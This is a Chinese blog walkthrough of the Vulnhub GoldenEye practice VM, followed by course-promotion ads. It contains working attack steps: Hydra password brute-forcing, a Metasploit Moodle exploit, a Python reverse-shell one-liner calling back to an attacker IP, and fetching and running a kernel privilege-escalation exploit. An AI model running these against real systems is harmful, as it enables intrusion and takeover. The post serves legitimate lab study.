【甄选靶场】Vulnhub百个项目渗透——项目一：GoldenEye（密码爆破，图片逆向分析，内核提权）

于 2024-09-29 11:10:08 发布
阅读量446 收藏 4
点赞数 10
文章标签： 网络安全 web安全 学习 网络协议 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Spontaneous_0/article/details/142631122
版权

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目一：GoldenEye（密码爆破，图片逆向分析，内核提权）

作者水平很有限，如果发现错误，还望告知，感谢！

前言

本文章仅用作实验学习，实验环境均为自行搭建的公开vuinhub靶场，仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录，不做任何导向。请勿在现实环境中模仿，操作。

一、梳理流程

  1. 端口发现（看看使用了哪些端口，开启了什么服务，寻找突破点）

  2. 信息收集（利用遍历，关键词搜索等方式对敏感文件，插件尝试访问，寻求突破并获取shell）

  3. 获取shell（利用版本漏洞或者中间件等拿到shell）

  4. 二次收集（基于已得到的服务或者主机再次信息收集）

  5. 内网提权（尝试利用内核，各种版本漏洞等方式来提升权限）

  6. 毁尸灭迹（清除日志等文件，但是靶场就没必要了，拿旗就走）

二、使用步骤

1.端口发现

代码如下：

ifconfig                  //用来查看自己的IP
namp 192.168.247.0/24 -sP //用来扫描同网段所有存活主机，注意最后是0
这个IP是你ifconfig出来的IP
nmap -p- 192.168.247.134  //扫描开放端口，找服务
（服务越多，我们越应该兴奋，因为服务多代表漏洞越多，越好下手）

在这里插入图片描述

开放了25和80端口还有两个55006和55007按照靶场的尿性估计有的搞，按照惯例，我们先去80看看

2.web突破

![在这里插入图片描述](https://img- blog.csdnimg.cn/b53127d164f5467a8b4c2a37404da8c1.png让我们去这个目录下登录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YV37CljF-1690591080449)(https://image.3001.net/images/20221220/1671515575_63a14db7afdd695eebf6a.png!small)]一看就是一个js页面，既然是前端，就右键看一下源码
在这里插入图片描述看到一个js文件，去看看这个js是什么牛马
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aopiodgO-1690591080450)(https://image.3001.net/images/20221220/1671515577_63a14db93512e06d73184.png!small)]

有这么一段牛马话，翻译一下大致意思boris，记得更新你的默认密码，这就是爆破的可能性
账户：boris,密码：InvincibleHack3r（翻译过来居然是无敌黑客3r，真自恋），还有一个账户：Natalya
到这就去登陆一下

登录之后是一个页面（这个就没截图，属实没必要），全局翻译一下
告诉我们：
在这里插入图片描述也就是说有一个高的开放端口负责pop3的业务，pop3是简单的邮局协议，所以安全性很低，这个时候就应该想起之前namp扫到的55006那个端口。

进一步扫描服务

nmap -sS -sV -T5 -A -p55006,55007 192.168.195.42 
每个参数都有它的意义，可以在搜一下。我会单写一篇工具使用的文章的

在这里插入图片描述没有啥无密码登陆的东西，那就访问一下55007端口的pop3服务
在这里插入图片描述

密码爆破

访问不了，有可能是没登陆还是什么的，之前翻译那一段牛马话的时候知道了最起码boris用的是默认密码，所以就爆破，这里选择九头蛇（Hydra）工具

​
echo -e ‘natalya\nboris’ > rong.txt —将两个用户名写入txt文本中
hydra -L rong.txt -P /usr/share/wordlists/fasttrack.txt 192.168.4.202 -s 55007 pop3
–上面这条命令是九头蛇自带的密码，小伙伴们自己寻找一些字典就好，
不过实际生活成功率一般

经过2~5分钟等待，获得两组账号密码：
[55007][pop3] host: 192.168.4.202 login: natalya password: bird
[55007][pop3] host: 192.168.4.202 login: boris password: secret1!
用户：boris 密码：secret1!
用户：natalya 密码：bird

有了账号密码就登陆呗，利用nc登陆即可，方便快捷

​
通过NC登录pop3查看邮件信封内容枚举：
nc 192.168.4.202 55007 —登录邮箱
user boris —登录用户
pass secret1! —登录密码
list —查看邮件数量
retr 1~3 —查看邮件内容

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ukNb9yVf-1690591080453)(https://image.3001.net/images/20221220/1671515581_63a14dbd2489ce3414587.png!small)]

其中一封邮件翻译过来是这个样

然后就没啥东西了，再登录natalya的账户看看

​
nc 192.168.4.202 55007 —登录邮箱
user natalya —登录用户
pass bird —登录密码
list —查看邮件数量
retr 1~3 —查看邮件内容

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IzaC0NEO-1690591080454)(https://image.3001.net/images/20221220/1671515582_63a14dbe3f92e735d2314.png!small)]

又知道了一组账号密码，并且要求我们做本地host，并且给了一个目录，我们做完host就去访问登录

gedit /etc/hosts     -----打开hosts文件
192.168.4.202 severnaya-station.com    --添加进去

登录之后源码啥的都没问题，我们到处点点，看看有啥残留的信息，邮件，或者是啥的，然后找到了：
Home / ▶ My profile / ▶ Messages —>发现有一封邮件，内容翻译发现用户名doak

再爆破doak的账户

echo doak > rong2.txt   ---将用户名写入txt文本中
hydra -L rong2 -P /usr/share/wordlists/fasttrack.txt 192.168.4.202 -s 55007 pop3 

[55007][pop3] host: 192.168.4.202   login: doak   password: goat
获得用户名密码：doak/goat

登录doak用户枚举邮件信息
nc 192.168.4.202 55007     ---登录邮箱
user doak                  ---登录用户
pass goat                  ---登录密码
list                       ---查看邮件数量
retr 1                     ---查看邮件内容

邮件消息说，为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
用户名：dr_doak
密码：4England!

使用新的账户密码登录CMS
登录后在：Home / ▶ My home 右边发现： s3cret.txt
另外发现这是Moodle使用的2.2.3版本(可以搜索一下版本漏洞)一会搜
先访问一下已知文件

在这里插入图片描述

2.图片逆向分析

​
wget http://severnaya-station.com/dir007key/for-007.jpg
把图片下载到本地

一张图片，啥都没有，但是又是专门搞得，就尝试一下图片的逆向分析

​
binwalk（路由逆向分析工具）
exiftool（图虫）
strings（识别动态库版本指令）
等查看jpg文件底层内容！

exiftool for-007.jpg    --这个好用
strings for-007.jpg
用以上命令都可以查看到base64编码隐藏信息：eFdpbnRlcjE5OTV4IQ==
base64解码得到：xWinter1995x!
根据之前的邮件我们知道这是一个admin的密码
（翻译软件的话我建议还是别用谷歌，用deepl，非常准确翻译出来）

​

所以尝试登陆
用户名：admin
密码：xWinter1995x!
severnaya-station.com/gnocertdir
找了半天也没啥太大的突破，那就只能找找有没有版本漏洞（上面我们在那个docker的账户里面找到了版本号），或者内核漏洞

3.版本漏洞拿到shell

​
15、此版本有许多漏洞利用，选一个RCE来用就好
使用MSF
框架利用很方便

msfconsole                      ---进入MSF框架攻击界面
search moodle                   ---查找 moodle类型 攻击的模块
use 0                           ---调用0  exploit/multi/http/moodle_cmd_exec调用攻击脚本
set username admin              ---设置用户名：admin
set password xWinter1995x!      ---设置密码：xWinter1995x!
set rhost severnaya-station.com ---设置：rhosts severnaya-station.com
set targeturi /gnocertdir       ---设置目录： /gnocertdir
set payload cmd/unix/reverse    ---设置payload：cmd/unix/reverse
set lhost 192.168.4.231           
---设置：lhost 192.168.4.231（自己的IP）
exploit  ----执行命令

​
当我们执行后发现无法成功，是因为对方需要修改执行PSpellShell
我是谷歌搜的，多翻一翻就能看懂了宝，url给到这里
https://www.exploit-db.com/exploits/29324
‘s_editor_tinymce_spellengine’ => ‘PSpellShell’,
有这么一句话所以知道要更改shell类型

然后我百度了一下这个版本的moodle怎么修改shell类型

Home / ▶ Site administration / ▶ Plugins / ▶ Text editors / ▶ TinyMCE HTML editor
来到此处，修改PSpellShell然后save！

然后msf重新run一下，就拿到了shell
但是这个时候 我们的shell在msf里，非常不好用
接下来讲的非常重要，死死备注
1. 新开终端端口，开启监听
nc -vlp 6666

2. 执行tty，因为获得的权限无框架：执行
python -c 'import pty; pty.spawn("/bin/bash")'     
---将shell进行tty

3. python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.28",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

利用python调用socket来达到监听的目的，万金油，就这么用，保存好，
以后直接用，还有很多协议的，没装python就用别的，总是有的用的，
我后面总结一个出来
嘎嘎好用
3.内核提权

​
内核提权
uname -a 查看权限

Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

谷歌搜索：Linux ubuntu 3.13.0-32 exploit   --就这么搜，嘎嘎准
获得exp版本：37292

​
kali搜索：
searchsploit 37292 —搜索kali本地的exp库中37292攻击脚本信息
所以没事就更新一下你的kali，就越来越好用
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/
—目录自行修改

按照一般思路需要gcc编译成一个可执行文件，然后执行就能提权成功
但是在实际测试环境中，发现并没有gcc的环境，我们就用cc编译也一样

gedit 37292.c       ---文本打开 
第143行将gcc改为cc    ---编写下 

然后在kali开启http服务：
python -m SimpleHTTPServer 8081
---新版的python把这个命令改了，如果你是新版的python，就执行下面这个
python -m http.server 8081//python3改版了注意

wget http://192.168.4.222:8081/37292.c   ---wget下载http服务下的文件---这是在靶机的shell上执行的命令，不是

成功下载后执行cc编译：
cc -o exp 37292.c     ---C语言的CC代码编译点c文件
chmod +x exp          ---编译成可执行文件，并赋权（+x是最高权）
./exp                 ---点杠执行

id                   ---查看目前权限
ls                  
---看一下root目录下有没有flag，一般最后一个flag直接就在root下
cat /root/.flag.txt  ---读取root下的flag信息
568628e0d993b1973adc718237da6e93

​

三.总结

1.密码爆破(九头蛇)
2.图片逆向分析(binwalk（路由逆向分析工具）
exiftool（图虫）
strings（识别动态库版本指令）)
3.内核提权（没有gcc的环境的替代方法）

网络安全学习路线

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

或者扫描下方csdn官方合作二维码获取哦！

在这里插入图片描述

这是一份网络安全从零基础到进阶的学习路线大纲全览，小伙伴们记得点个收藏！

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

阶段一：基础入门

img

网络安全导论

渗透测试基础

网络基础

操作系统基础

Web安全基础

数据库基础

编程基础

CTF基础

该阶段学完年薪15w+没有问题

阶段二：技术进阶（到了这一步你才算入门）

img

弱口令与口令爆破

XSS漏洞

CSRF漏洞

SSRF漏洞

XXE漏洞

SQL注入

任意文件操作漏洞

业务逻辑漏洞

该阶段学完年薪25w+

阶段三：高阶提升

img

反序列化漏洞

RCE

综合靶场实操项目

内网渗透

流量分析

日志分析

恶意代码分析

应急响应

实战训练

该阶段学完即可年薪30w+

阶段四：蓝队课程

img

蓝队基础

蓝队进阶

该部分主攻蓝队的防御，即更容易被大家理解的网络安全工程师。

攻防兼备，年薪收入可以达到40w+

阶段五：面试指南&阶段六：升级内容

img

需要上述路线图对应的网络安全配套视频、源码以及更多网络安全相关书籍&面试题等内容可在文章后方领取。

在这里插入图片描述

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

或者扫描下方csdn官方合作二维码获取哦！

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

感谢您观看我的文章，谢谢！！

网络安全乔妮娜
关注
vulnhub靶场——GOLDENEYE: 1 渗透记录
ShenZ的博客
02-10 2298
vulnhub—GOLDENEYE: 1 vulnhub靶场——GOLDENEYE: 1 渗透记录 About Description 一、信息搜集 二、网站渗透 三、Moodle漏洞利用
记一次GoldenEye靶场渗透测试过程
c_programj的博客
09-16 1624
记一次GoldenEye靶场渗透测试过程 靶场下载连接： 链接：https://pan.baidu.com/s/1qSU-0h8S-HyV-tkhGvCe3A 提取码：n2hq 下载完成之后，在VMware直接打开虚拟机，选择该.ova文件即可。 KALI攻击机：192.168.43.126 GoldenEye靶机：192.168.43.27 一、信息收集 1、使用nmap进行信息收集，查找同网段下的主机：namp -sP 192.168.43.0/24 Nmap -sP 扫描所在网段存货主机（可以扫到所在
【GoldenEye靶场渗透】
一纸荒芜的博客
07-27 1057
GoldenEye靶场渗透
1、GoldenEye-靶机-百个项目计划
Labi的博客
01-14 1291
大家好，因为自己是一个刚入门网安不久的新人，现在想通过打一些靶机来进行学习，这里的计划是通过百个项目来进行实操，巩固自己的基础。发文也是记录一下自己的开始，文章会写的比较详细，让0基础的小白跟着做也会。本文仅用于技术讨论与研究，如用作非法用途作者概不负责。GoldenEye也是我们新手入门必打靶机，那我们就开始进入正文吧。
vulnhub渗透日记03：GoldenEye
ericalezl的博客
07-15 99
在本地/etc/hosts文件中添加域名severnaya-station.com。已知用户名Boris和Natalya，而且提示修改默认密码，估计可以爆破出来。在这里谁便写点东西，点击红框按钮，负责检测拼写的，点击即可收到shell。访问severnaya-station.com/gnocertdir。boris中的邮件没啥东西，natalya中发现如下信息。先得把这个设置为PSpellShell，save。提示访问/sev-home/登录。登录后提示pop3非默认端口。目标没有gcc，有cc。
【vulhub靶场】GoldenEye
今天是几号的博客
04-04 1440
pwd=90lq靶机：10.10.10.155关于复现，我把所有的试错过程也直接写上出了，尽管对于最终获得flag步骤有点多余TTY 是一个缩写，代表着 Teletype，它是一种早期的文字终端设备。在计算机早期，TTY是用于与计算机交互的主要方式之一，用户可以通过键盘输入指令并在屏幕上看到计算机的响应。如今，TTY通常被用来描述一个连接到终端设备的进程或会话。TTY 可以在本地终端、SSH 连接、串口连接等各种情况下使用，
渗透项目（一）：GodlenEye
Ays.Ie的博客
10-15 1304
今天开始写渗透学习笔记，第一个渗透项目：GoldenEye，大佬勿喷！！
VulnHub-GoldenEye: 1渗透学习
我是小小白的博客
07-13 504
前言 靶机地址：https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova 靶机难度：中级（CTF） 靶机发布日期：2018 年 5 月 4 日 靶机描述：我最近完成了以伟大的詹姆斯邦德电影（甚至更好的 n64 游戏）GoldenEye 为主题的 OSCP 类型易受攻击机器的创建。目标是获得 root 并捕获秘密的 GoldenEye 代码 - flag.txt。 我将其评为中级，它具有获得 root 所需的多种技术 - 没有漏洞利用开发/缓冲区
推荐开源项目：GoldenEye - HTTP DoS 测试工具
gitblog_00014的博客
05-09 427
推荐开源项目：GoldenEye - HTTP DoS 测试工具 项目地址:https://gitcode.com/jseidl/GoldenEye 项目介绍 GoldenEye 是一个仅供安全测试使用的Python 3应用程序。这个项目虽然不再维护，但其独特的功能和设计理念仍然使其在网络安全测试领域具有一定价值。它利用HTTP保持连接（Keep Alive）和禁止缓存（NoCache）的攻击向量...
GoldenEye:GoldenEye HTTP DoS 测试工具-开源
05-30
GoldenEye 是一个仅用于安全测试目的的 Python 应用程序！ GoldenEye 是一个 HTTP DoS 测试工具。 被利用的攻击向量：HTTP Keep Alive + NoCache 请参阅自述文件了解更多详情。 请注意，这是 ...
vulnhub靶场{GoldenEye-v1靶场实战}
AerYinan的博客
02-10 3444
vulnhub靶场{GoldenEye-v1靶场实战}
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8478
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
网络安全证书考取相关知识
aa98865646的博客
09-21 761
作者是个想进入网络安全行业发展的小白，目前没啥钱，是想自学以后挖漏洞赚钱的，看了这两个算是比较常见的证书看起来都要花不少钱的话，我感觉自己还是先自学一段时间再说吧，实战更重要，这些证书等以后有机会慢慢考吧，如果需要的话。欢迎大佬补充其他适合小白考取的证书，目前感觉4800+480的NISP一级证书比较适合在学校的小白，CISP的话再NISP考到二级以后再加钱4000就可以换成CISP了，NISP适合学生，CISP适合职场啊，不过都是要钱啊。
如何用3个月零基础入门网络安全？_网络安全零基础怎么学习
2401_84466224的博客
09-24 652
我们知道计算机最早是在西方发明出来的，很多名词或者代码都是英文的，甚至现有的一些教程最初也是英文原版翻译过来的，而且一个漏洞被发现到翻译成中文一般需要一个星期的时间，在这个时间差上漏洞可能都修补了。”答案是否定的，黑客用的电脑,不需要什么高的配置,只要稳定就行.因为黑客所使用的一些程序,低端CPU也可以很好的运行,而且不占什么内存.还有一个,黑客是在DOS命令下对进行的,所以电脑能使用到最佳状态!观看学习近十年所有0day挖掘的帖，然后搭建环境，去复现漏洞，去思考学习笔者的挖洞思维，培养自己的渗透思维。
信息安全工程师（24）网络安全体系建设原则与安全策略
最新发布
m0_73399576的博客
09-28 675
信息安全工程师——网络安全体系建设原则与安全策略篇
Linux 网络安全守护：构建安全防线的最佳实践
weixin_62641226的博客
09-23 991
通过定期更新系统、强化用户权限管理、配置防火墙、使用SSH安全连接、定期备份数据、监控系统日志以及安装安全工具，用户可以有效提升Linux系统的安全性，构建坚固的网络安全防线。Linux系统通常内置了防火墙工具，如`iptables`和`firewalld`。用户应根据实际需求，设置合适的规则，限制不必要的端口和服务。可以使用`rsync`、`tar`等工具进行备份，确保在发生安全事件时能够快速恢复。此外，定期审查用户账户和权限，及时删除不再使用的账户，确保只有必要的用户能够访问系统。
Web安全-SQL注入之联合查询注入
m0_60984906的博客
09-25 308
Web安全SQL注入之联合查询注入墨者学院-SQL手工注入漏洞测试(MySQL数据库-字符型)
入门网络安全工程师要学习哪些内容
白帽子佳奇的博客
09-23 1233
大家都知道网络安全行业很火，这个行业因为国家政策趋势正在大力发展，大有可为!但很多人对还是不了解，不知道需要学什么?知了堂小编总结出以下要点。是一个概称，学习的东西很多，具体学什么看自己以后的职业定位。如果你以后想成为安全产品工程师，学的内容侧重点就和不一样，如果你想成为安全开发工程师，学的侧重点就和安全不一样。学的东西很泛，但选定方向就简单了。大致的学习流程总结就是：网络基础、操作系统、中间件、数据库。其中电脑基础：像系统Windows基础和Linux基础、HTML基础、代码JS基础等。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值